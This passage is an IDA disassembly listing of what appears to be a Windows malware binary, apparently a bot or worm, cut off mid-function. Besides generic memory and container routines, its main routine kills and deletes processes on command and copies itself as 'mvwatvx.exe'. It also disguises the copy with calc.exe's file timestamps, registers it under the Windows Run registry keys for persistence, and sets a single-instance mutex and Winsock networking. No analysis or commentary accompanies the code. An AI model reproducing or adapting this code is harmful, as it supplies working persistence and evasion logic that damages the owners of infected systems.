		mov	eax, [edi+4]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		jmp	short loc_413D90
sub_413D53	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D9E	proc near		; CODE XREF: sub_41226A+20Cp
					; sub_41226A+364p
		mov	eax, offset loc_427F66
		call	sub_41E550
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, edi
		xor	ebx, ebx
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413DE0

loc_413DBE:				; CODE XREF: sub_413D9E+40j
		mov	eax, [edi+4]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi*4]
		push	dword ptr [eax]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_413E3F
		mov	eax, edi
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_413DBE

loc_413DE0:				; CODE XREF: sub_413D9E+1Ej
		push	dword ptr [ebp+8]
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	dword ptr [ebp+8]
		mov	[ebp-10h], eax
		push	eax
		call	sub_41C930
		add	esp, 10h
		lea	esi, [ebp-10h]
		mov	eax, edi
		call	sub_413F72
		push	10h
		call	sub_41BA91
		pop	ecx
		cmp	eax, ebx
		jz	short loc_413E1F
		mov	[eax+4], ebx
		mov	[eax+8], ebx
		mov	[eax+0Ch], ebx
		jmp	short loc_413E21
; ---------------------------------------------------------------------------

loc_413E1F:				; CODE XREF: sub_413D9E+74j
		xor	eax, eax

loc_413E21:				; CODE XREF: sub_413D9E+7Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp+8], eax
		lea	ebx, [edi+10h]
		lea	esi, [ebp+8]
		mov	eax, ebx
		call	sub_413F72
		mov	eax, ebx
		call	sub_408AF0
		mov	esi, eax
		dec	esi

loc_413E3F:				; CODE XREF: sub_413D9E+34j
		mov	eax, [edi+14h]
		push	dword ptr [ebp+0Ch]
		lea	eax, [eax+esi*4]
		mov	edi, [eax]
		call	sub_413FA7
		mov	ecx, [ebp-0Ch]
		neg	eax
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_413D9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E66	proc near		; CODE XREF: sub_41226A+1BAp
					; sub_41226A+24Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	eax, edi
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413E97

loc_413E74:				; CODE XREF: sub_413E66+2Fj
		mov	eax, [edi+4]
		push	[esp+4+arg_0]
		lea	eax, [eax+esi*4]
		push	dword ptr [eax]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_413E9D
		mov	eax, edi
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_413E74

loc_413E97:				; CODE XREF: sub_413E66+Cj
		xor	eax, eax

loc_413E99:				; CODE XREF: sub_413E66+4Aj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------

loc_413E9D:				; CODE XREF: sub_413E66+23j
		mov	eax, [edi+14h]
		push	ebx
		push	[esp+8+arg_4]
		lea	eax, [eax+esi*4]
		mov	ebx, [eax]
		call	sub_413FF3
		pop	ebx
		jmp	short loc_413E99
sub_413E66	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EB2	proc near		; CODE XREF: sub_4121F3+1Ep
					; sub_4121F3+29p ...
		push	ebx
		push	esi
		mov	esi, [edi+4]
		jmp	short loc_413EC4
; ---------------------------------------------------------------------------

loc_413EB9:				; CODE XREF: sub_413EB2+15j
		push	dword ptr [esi]
		call	sub_41C7B8
		pop	ecx
		add	esi, 4

loc_413EC4:				; CODE XREF: sub_413EB2+5j
		cmp	esi, [edi+8]
		jnz	short loc_413EB9
		mov	ebx, [edi+14h]
		jmp	short loc_413EE3
; ---------------------------------------------------------------------------

loc_413ECE:				; CODE XREF: sub_413EB2+34j
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_413EE0
		call	sub_413A1C
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_413EE0:				; CODE XREF: sub_413EB2+20j
		add	ebx, 4

loc_413EE3:				; CODE XREF: sub_413EB2+1Aj
		cmp	ebx, [edi+18h]
		jnz	short loc_413ECE
		mov	esi, edi
		call	sub_413A1C
		lea	esi, [edi+10h]
		call	sub_413A1C
		call	sub_413A1C
		mov	esi, edi
		call	sub_413A1C
		pop	esi
		pop	ebx
		retn
sub_413EB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F06	proc near		; CODE XREF: sub_412810+47p
					; sub_412810+58p

arg_0		= dword	ptr  4

		push	ebx
		lea	ebx, [edi+10h]
		push	esi
		mov	eax, ebx
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413F35

loc_413F18:				; CODE XREF: sub_413F06+2Dj
		mov	eax, [edi+14h]
		push	[esp+8+arg_0]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		call	sub_41403D
		mov	eax, ebx
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_413F18

loc_413F35:				; CODE XREF: sub_413F06+10j
		pop	esi
		pop	ebx
		retn	4
sub_413F06	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F3A	proc near		; CODE XREF: sub_413AD1+19Bp
					; sub_413AD1+1D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	eax, [esp+arg_0]
		jz	short locret_413F5A
		push	esi
		push	edi

loc_413F42:				; CODE XREF: sub_413F3A+1Cj
		mov	esi, [esp+8+arg_4]
		mov	edi, eax
		push	42h
		add	eax, 108h
		cmp	eax, [esp+0Ch+arg_0]
		pop	ecx
		rep movsd
		jnz	short loc_413F42
		pop	edi
		pop	esi

locret_413F5A:				; CODE XREF: sub_413F3A+4j
		retn
sub_413F3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F5B	proc near		; CODE XREF: sub_413AD1+1C3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4140A6
		add	esp, 0Ch
		leave
		retn
sub_413F5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F72	proc near		; CODE XREF: sub_4072DE+40p
					; sub_407F57+17p ...

var_4		= byte ptr -4

		push	ecx
		push	ebx
		push	edi
		mov	edi, eax
		call	sub_4073E5
		mov	ebx, eax
		mov	eax, edi
		call	sub_408AF0
		cmp	eax, ebx
		mov	eax, [edi+8]
		jnb	short loc_413F98
		mov	ecx, [esi]
		mov	[eax], ecx
		add	eax, 4
		mov	[edi+8], eax
		jmp	short loc_413FA3
; ---------------------------------------------------------------------------

loc_413F98:				; CODE XREF: sub_413F72+18j
		push	esi
		push	eax
		lea	ebx, [esp+14h+var_4]
		call	sub_4073F8

loc_413FA3:				; CODE XREF: sub_413F72+24j
		pop	edi
		pop	ebx
		pop	ecx
		retn
sub_413F72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FA7	proc near		; CODE XREF: sub_413D9E+ACp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_413FDC
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax]
		mov	esi, [edi+4]

loc_413FC4:				; CODE XREF: sub_413FA7+33j
		mov	eax, [esi]
		cmp	[eax], ebx
		jz	short loc_413FEF
		inc	[ebp+var_4]
		mov	eax, edi
		add	esi, 4
		call	sub_408AF0
		cmp	[ebp+var_4], eax
		jb	short loc_413FC4

loc_413FDC:				; CODE XREF: sub_413FA7+13j
		lea	esi, [ebp+arg_0]
		mov	eax, edi
		call	sub_413F72
		xor	eax, eax
		inc	eax

loc_413FE9:				; CODE XREF: sub_413FA7+4Aj
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_413FEF:				; CODE XREF: sub_413FA7+21j
		xor	eax, eax
		jmp	short loc_413FE9
sub_413FA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FF3	proc near		; CODE XREF: sub_413E66+44p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_414035
		push	esi
		mov	esi, [ebx+4]

loc_414010:				; CODE XREF: sub_413FF3+3Fj
		mov	eax, [esi]
		mov	ecx, [eax]
		cmp	ecx, edi
		jb	short loc_414022
		cmp	[ebp+arg_0], ecx
		jb	short loc_414022
		mov	edi, ecx
		mov	[ebp+var_8], eax

loc_414022:				; CODE XREF: sub_413FF3+23j
					; sub_413FF3+28j
		inc	[ebp+var_4]
		mov	eax, ebx
		add	esi, 4
		call	sub_408AF0
		cmp	[ebp+var_4], eax
		jb	short loc_414010
		pop	esi

loc_414035:				; CODE XREF: sub_413FF3+17j
		mov	eax, [ebp+var_8]
		pop	edi
		leave
		retn	4
sub_413FF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41403D	proc near		; CODE XREF: sub_413F06+1Ep

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, eax
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_414078
		push	ebx

loc_414051:				; CODE XREF: sub_41403D+38j
		mov	eax, [esi+4]
		lea	eax, [eax+edi*4]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41406B
		push	eax
		lea	ebx, [ebp+var_4]
		call	sub_408B03
		xor	edi, edi

loc_41406B:				; CODE XREF: sub_41403D+21j
		mov	eax, esi
		inc	edi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_414051
		pop	ebx

loc_414078:				; CODE XREF: sub_41403D+11j
		pop	edi
		pop	esi
		leave
		retn	4
sub_41403D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41407E	proc near		; CODE XREF: sub_413AAA+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	eax, eax
		jbe	short locret_4140A5
		push	esi
		push	edi

loc_414084:				; CODE XREF: sub_41407E+23j
		cmp	[esp+8+arg_0], 0
		jz	short loc_414098
		mov	esi, [esp+8+arg_4]
		mov	edi, [esp+8+arg_0]
		push	42h
		pop	ecx
		rep movsd

loc_414098:				; CODE XREF: sub_41407E+Bj
		add	[esp+8+arg_0], 108h
		dec	eax
		jnz	short loc_414084
		pop	edi
		pop	esi

locret_4140A5:				; CODE XREF: sub_41407E+2j
		retn
sub_41407E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140A6	proc near		; CODE XREF: sub_413F5B+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], edx
		jz	short loc_4140CB
		push	esi
		mov	eax, 108h
		push	edi

loc_4140B5:				; CODE XREF: sub_4140A6+21j
		sub	[ebp+arg_4], eax
		mov	edi, [ebp+arg_4]
		sub	edx, eax
		cmp	edx, [ebp+arg_0]
		push	42h
		pop	ecx
		mov	esi, edx
		rep movsd
		jnz	short loc_4140B5
		pop	edi
		pop	esi

loc_4140CB:				; CODE XREF: sub_4140A6+6j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_4140A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140D0	proc near		; CODE XREF: sub_4073F8+26p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [eax]
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], eax
		mov	eax, edi
		call	sub_4073E5
		mov	esi, [ebp+arg_4]
		test	esi, esi
		mov	ebx, eax
		jz	loc_414251
		mov	eax, edi
		call	sub_408AF0
		mov	ecx, 3FFFFFFFh
		sub	ecx, eax
		cmp	ecx, esi
		jnb	short loc_41410A
		call	sub_40C38F

loc_41410A:				; CODE XREF: sub_4140D0+33j
		mov	eax, edi
		call	sub_408AF0
		add	eax, esi
		cmp	ebx, eax
		jnb	loc_4141B8
		mov	eax, ebx
		shr	eax, 1
		mov	ecx, 3FFFFFFFh
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41412E
		xor	ebx, ebx
		jmp	short loc_414130
; ---------------------------------------------------------------------------

loc_41412E:				; CODE XREF: sub_4140D0+58j
		add	ebx, eax

loc_414130:				; CODE XREF: sub_4140D0+5Cj
		mov	eax, edi
		call	sub_408AF0
		add	eax, esi
		cmp	ebx, eax
		jnb	short loc_414148
		mov	eax, edi
		call	sub_408AF0
		mov	ebx, eax
		add	ebx, esi

loc_414148:				; CODE XREF: sub_4140D0+6Bj
		shl	ebx, 2
		push	ebx
		mov	[ebp+var_8], ebx
		call	sub_41BA91
		push	[ebp+arg_0]
		mov	ebx, eax
		mov	eax, [edi+4]
		push	ebx
		push	eax
		mov	eax, [ebp+arg_0]
		call	sub_41429A
		add	esp, 10h
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		mov	esi, eax
		call	sub_40E7A8
		push	[ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		mov	eax, [edi+8]
		call	sub_41429A
		add	esp, 0Ch
		mov	eax, edi
		call	sub_408AF0
		mov	esi, [ebp+arg_4]
		add	esi, eax
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4141A2
		push	eax
		call	sub_41C7B8
		pop	ecx

loc_4141A2:				; CODE XREF: sub_4140D0+C9j
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	[edi+0Ch], eax
		lea	eax, [ebx+esi*4]
		mov	[edi+8], eax
		mov	[edi+4], ebx
		jmp	loc_414251
; ---------------------------------------------------------------------------

loc_4141B8:				; CODE XREF: sub_4140D0+45j
		mov	eax, [edi+8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, eax
		sub	ecx, ebx
		sar	ecx, 2
		cmp	ecx, esi
		mov	[ebp+arg_4], eax
		jnb	short loc_414217
		mov	ecx, esi
		shl	ecx, 2
		mov	[ebp+arg_0], ecx
		push	[ebp+arg_0]
		add	ecx, ebx
		push	ecx
		push	ebx
		call	sub_41429A
		mov	eax, [edi+8]
		mov	edx, eax
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	edx, ebx
		sar	edx, 2
		mov	ecx, esi
		sub	ecx, edx
		mov	esi, eax
		call	sub_40E7A8
		mov	eax, [ebp+arg_0]
		add	[edi+8], eax
		mov	edi, [edi+8]
		sub	edi, eax
		jmp	short loc_414211
; ---------------------------------------------------------------------------

loc_414209:				; CODE XREF: sub_4140D0+143j
		mov	eax, [ebp+var_4]
		mov	[ebx], eax
		add	ebx, 4

loc_414211:				; CODE XREF: sub_4140D0+137j
		cmp	ebx, edi
		jnz	short loc_414209
		jmp	short loc_414251
; ---------------------------------------------------------------------------

loc_414217:				; CODE XREF: sub_4140D0+FAj
		shl	esi, 2
		mov	[ebp+arg_0], eax
		sub	[ebp+arg_0], esi
		push	[ebp+arg_0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41429A
		push	[ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	[edi+8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		call	sub_407EA0
		add	esp, 14h
		add	esi, ebx
		jmp	short loc_41424D
; ---------------------------------------------------------------------------

loc_414245:				; CODE XREF: sub_4140D0+17Fj
		mov	eax, [ebp+var_4]
		mov	[ebx], eax
		add	ebx, 4

loc_41424D:				; CODE XREF: sub_4140D0+173j
		cmp	ebx, esi
		jnz	short loc_414245

loc_414251:				; CODE XREF: sub_4140D0+1Dj
					; sub_4140D0+E3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4140D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414258	proc near		; CODE XREF: sub_413AD1+ACp
					; sub_413AD1+CDp ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ecx
		cmp	ebx, [esp+4+arg_0]
		jz	short loc_414281
		push	esi
		mov	edx, 108h
		push	edi

loc_414268:				; CODE XREF: sub_414258+25j
		test	eax, eax
		jz	short loc_414275
		push	42h
		pop	ecx
		mov	esi, ebx
		mov	edi, eax
		rep movsd

loc_414275:				; CODE XREF: sub_414258+12j
		add	ebx, edx
		add	eax, edx
		cmp	ebx, [esp+0Ch+arg_0]
		jnz	short loc_414268
		pop	edi
		pop	esi

loc_414281:				; CODE XREF: sub_414258+7j
		pop	ebx
		retn
sub_414258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414283	proc near		; CODE XREF: sub_408B03+Dp
					; sub_40C2C2+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41429A
		add	esp, 0Ch
		leave
		retn
sub_414283	endp


; =============== S U B	R O U T	I N E =======================================



sub_41429A	proc near		; CODE XREF: sub_4140D0+91p
					; sub_4140D0+B0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	eax, [esp+arg_0]
		push	esi
		sar	eax, 2
		mov	esi, eax
		shl	esi, 2
		push	esi
		push	[esp+8+arg_0]
		push	[esp+0Ch+arg_4]
		call	sub_41BFA0
		add	esp, 0Ch
		add	eax, esi
		pop	esi
		retn
sub_41429A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4142BC	proc near		; CODE XREF: sub_4142D6+3FFp
		push	esi
		mov	esi, eax
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	dword ptr [esi], offset	off_430AC0
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn
sub_4142BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_4142D6	proc near		; CODE XREF: start-1C1CBp

var_480		= byte ptr -480h
var_2F0		= dword	ptr -2F0h
var_2E8		= dword	ptr -2E8h
var_2CC		= byte ptr -2CCh
var_1C8		= byte ptr -1C8h
var_C4		= dword	ptr -0C4h
var_A4		= byte ptr -0A4h
var_80		= byte ptr -80h
var_78		= dword	ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 480h
		push	ebx
		push	esi
		push	edi
		push	offset sub_404E2C
		call	ds:dword_429154	; SetUnhandledExceptionFilter
		mov	esi, [ebp+68h+arg_8]
		push	3
		push	offset aC	; "-c "
		push	esi
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41436D
		push	20h
		push	esi
		call	sub_41C3F0
		pop	ecx
		mov	edi, eax
		pop	ecx
		lea	esi, [ebp+68h+var_A4]
		inc	edi
		call	sub_40466F
		xor	ebx, ebx
		push	ebx
		mov	eax, esi
		call	sub_404694
		push	edi
		call	ds:dword_4290DC	; DeleteFileA
		push	edi
		lea	esi, [ebp+68h+arg_0]
		call	sub_405C95
		lea	eax, [ebp+68h+arg_8]
		push	eax
		lea	esi, [ebp+68h+var_A4]
		mov	[ebp+68h+arg_8], ebx
		call	sub_404706
		push	eax
		call	sub_4046F4
		push	eax
		lea	eax, [ebp+68h+arg_0]
		call	sub_405D36
		lea	esi, [ebp+68h+arg_0]
		call	sub_405CF2
		call	sub_405CF2
		lea	eax, [ebp+68h+var_A4]
		call	sub_404683
		jmp	loc_414627
; ---------------------------------------------------------------------------

loc_41436D:				; CODE XREF: sub_4142D6+2Ej
		push	3
		push	offset aK	; "-k "
		push	esi
		call	sub_41D5B0
		mov	edi, ds:dword_4290F0
		add	esp, 0Ch
		xor	ebx, ebx
		test	eax, eax
		jnz	loc_414449
		push	20h
		push	esi
		call	sub_41C3F0
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	ebx
		inc	esi
		push	2
		mov	[ebp+68h+var_10], esi
		call	sub_41B9CC	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+68h+arg_8], eax
		jz	loc_414476
		lea	ecx, [ebp+68h+var_2F0]
		push	ecx
		push	eax
		mov	[ebp+68h+var_2F0], 128h
		call	sub_41B9C0	; Process32First
		test	eax, eax
		jz	short loc_414442
		jmp	short loc_4143D1
; ---------------------------------------------------------------------------

loc_4143CE:				; CODE XREF: sub_4142D6+16Aj
		mov	esi, [ebp+68h+var_10]

loc_4143D1:				; CODE XREF: sub_4142D6+F6j
		lea	eax, [ebp+68h+var_2CC]
		push	esi
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41442F
		call	ds:dword_429148	; GetCurrentProcessId
		cmp	[ebp+68h+var_2E8], eax
		jz	short loc_41442F
		push	[ebp+68h+var_2E8]
		push	ebx
		push	1F0FFFh
		call	ds:dword_42913C	; OpenProcess
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41442F
		push	ebx
		push	esi
		call	ds:dword_429160	; TerminateProcess
		push	0EA60h
		push	esi
		call	ds:dword_429128	; WaitForSingleObject
		push	esi
		call	edi	; CloseHandle
		lea	eax, [ebp+68h+var_2CC]
		push	eax
		call	ds:dword_4290DC	; DeleteFileA

loc_41442F:				; CODE XREF: sub_4142D6+10Cj
					; sub_4142D6+11Aj ...
		lea	eax, [ebp+68h+var_2F0]
		push	eax
		push	[ebp+68h+arg_8]
		call	sub_41B9C6	; Process32Next
		test	eax, eax
		jnz	short loc_4143CE

loc_414442:				; CODE XREF: sub_4142D6+F4j
		push	[ebp+68h+arg_8]
		call	edi	; CloseHandle
		jmp	short loc_414476
; ---------------------------------------------------------------------------

loc_414449:				; CODE XREF: sub_4142D6+B1j
		push	3
		push	offset aS	; "-s "
		push	esi
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414476
		push	20h
		push	esi
		call	sub_41C3F0
		inc	eax
		push	eax
		call	sub_41D59C
		add	esp, 0Ch
		push	eax
		call	ds:dword_429084	; Sleep

loc_414476:				; CODE XREF: sub_4142D6+D5j
					; sub_4142D6+171j ...
		mov	eax, [ebp+68h+arg_0]
		mov	[ebp+68h+var_30], eax
		lea	eax, [ebp+68h+var_44]
		mov	esi, offset aMain ; "main"
		push	eax
		mov	[ebp+68h+var_44], 30h
		mov	[ebp+68h+var_40], ebx
		mov	[ebp+68h+var_3C], offset sub_414767
		mov	[ebp+68h+var_38], ebx
		mov	[ebp+68h+var_34], ebx
		mov	[ebp+68h+var_2C], ebx
		mov	[ebp+68h+var_28], ebx
		mov	[ebp+68h+var_24], ebx
		mov	[ebp+68h+var_20], ebx
		mov	[ebp+68h+var_1C], esi
		mov	[ebp+68h+var_18], ebx
		call	ds:dword_42921C	; RegisterClassExA
		push	ebx
		push	[ebp+68h+arg_0]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aNull	; "null"
		push	esi
		push	ebx
		call	ds:dword_429224	; CreateWindowExA
		test	eax, eax
		jz	loc_414627
		mov	eax, [ebp+68h+arg_0]
		mov	ds:dword_437C58, eax
		lea	eax, [ebp+68h+var_480]
		push	eax
		push	101h
		call	ds:dword_4292C0	; WSAStartup
		call	ds:dword_4290A8	; GetTickCount
		push	offset aD3kb5sujs50lq2 ; "d3kb5sujs50lq2mr"
		push	ebx
		push	ebx
		mov	ds:dword_438118, eax
		mov	ds:dword_43811C, ebx
		call	ds:dword_429134	; CreateMutexA
		mov	ds:dword_438104, eax
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	loc_414627
		call	sub_404B0D
		mov	[ebp+68h+arg_8], eax
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+68h+var_1C8]
		push	eax
		push	ebx
		call	ds:dword_4290B8	; GetModuleFileNameA
		push	ebx
		push	[ebp+68h+arg_8]
		lea	eax, [ebp+68h+var_1C8]
		push	eax
		call	ds:dword_429164	; CopyFileA
		lea	eax, [ebp+68h+var_1C8]
		push	5Ch
		push	eax
		call	sub_41C8A0
		inc	eax
		push	offset aMvwatvx_exe ; "mvwatvx.exe"
		push	eax
		call	sub_426D1E
		add	esp, 10h
		test	eax, eax
		jz	loc_41462E
		push	esi
		lea	eax, [ebp+68h+var_1C8]
		push	eax
		call	ds:dword_4290D4	; GetSystemDirectoryA
		lea	eax, [ebp+68h+var_1C8]
		push	offset aCalc_exe ; "\\calc.exe"
		push	eax
		call	sub_41C940
		or	[ebp+68h+arg_0], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		lea	eax, [ebp+68h+var_1C8]
		push	eax
		lea	eax, [ebp+68h+arg_0]
		call	sub_405CD8
		lea	eax, [ebp+68h+var_14]
		push	eax
		lea	eax, [ebp+68h+var_54]
		push	eax
		lea	eax, [ebp+68h+var_4C]
		push	eax
		push	[ebp+68h+arg_0]
		call	ds:dword_429170	; GetFileTime
		lea	esi, [ebp+68h+arg_0]
		call	sub_405CF2
		push	[ebp+68h+arg_8]
		mov	eax, esi
		call	sub_405CD8
		lea	eax, [ebp+68h+var_14]
		push	eax
		lea	eax, [ebp+68h+var_54]
		push	eax
		lea	eax, [ebp+68h+var_4C]
		push	eax
		push	[ebp+68h+arg_0]
		call	ds:dword_42915C	; SetFileTime
		call	sub_405CF2
		push	44h
		pop	esi
		push	esi
		lea	eax, [ebp+68h+var_C4]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch
		lea	eax, [ebp+68h+var_64]
		push	eax
		lea	eax, [ebp+68h+var_C4]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+68h+arg_8]
		mov	[ebp+68h+var_C4], esi
		call	ds:dword_4290EC	; CreateProcessA
		push	[ebp+68h+var_64]
		call	edi	; CloseHandle
		push	[ebp+68h+var_60]
		call	edi	; CloseHandle
		lea	esi, [ebp+68h+arg_0]
		call	sub_405CF2

loc_414627:				; CODE XREF: sub_4142D6+92j
					; sub_4142D6+1F8j ...
		xor	eax, eax
		jmp	loc_41475D
; ---------------------------------------------------------------------------

loc_41462E:				; CODE XREF: sub_4142D6+298j
		push	18h
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41463F
		call	sub_40DB3C

loc_41463F:				; CODE XREF: sub_4142D6+362j
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		lea	esi, [ebp+68h+var_C]
		call	sub_40D8DC
		push	[ebp+68h+arg_8]
		mov	edi, offset aMvwatvx ; "mvwatvx"
		push	edi
		call	sub_40DA05
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4146A3
		push	[ebp+68h+arg_8]
		mov	eax, esi
		push	edi
		push	eax
		call	sub_40D9DE
		test	eax, eax
		jz	short loc_4146A3
		call	sub_40DB08
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		mov	eax, esi
		push	eax
		call	sub_40DAEF
		push	[ebp+68h+arg_8]
		mov	eax, esi
		push	edi
		push	eax
		call	sub_40D9DE
		call	sub_40DB08

loc_4146A3:				; CODE XREF: sub_4142D6+393j
					; sub_4142D6+3A3j
		call	sub_409351
		cmp	eax, 0Ah
		jnb	short loc_4146B2
		call	sub_402920

loc_4146B2:				; CODE XREF: sub_4142D6+3D5j
		push	598h
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4146C9
		push	1
		push	eax
		call	sub_40B8D4

loc_4146C9:				; CODE XREF: sub_4142D6+3E9j
		push	10h
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4146DA
		call	sub_4142BC

loc_4146DA:				; CODE XREF: sub_4142D6+3FDj
		push	10h
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4146EB
		call	sub_408B23

loc_4146EB:				; CODE XREF: sub_4142D6+40Ej
		call	sub_404C05
		test	eax, eax
		jz	short loc_414727
		push	5A8h
		call	sub_41BA91
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414727
		xor	ecx, ecx
		mov	cx, ds:word_435C08
		push	offset dword_435BF4
		push	offset dword_435ACC
		mov	edi, eax
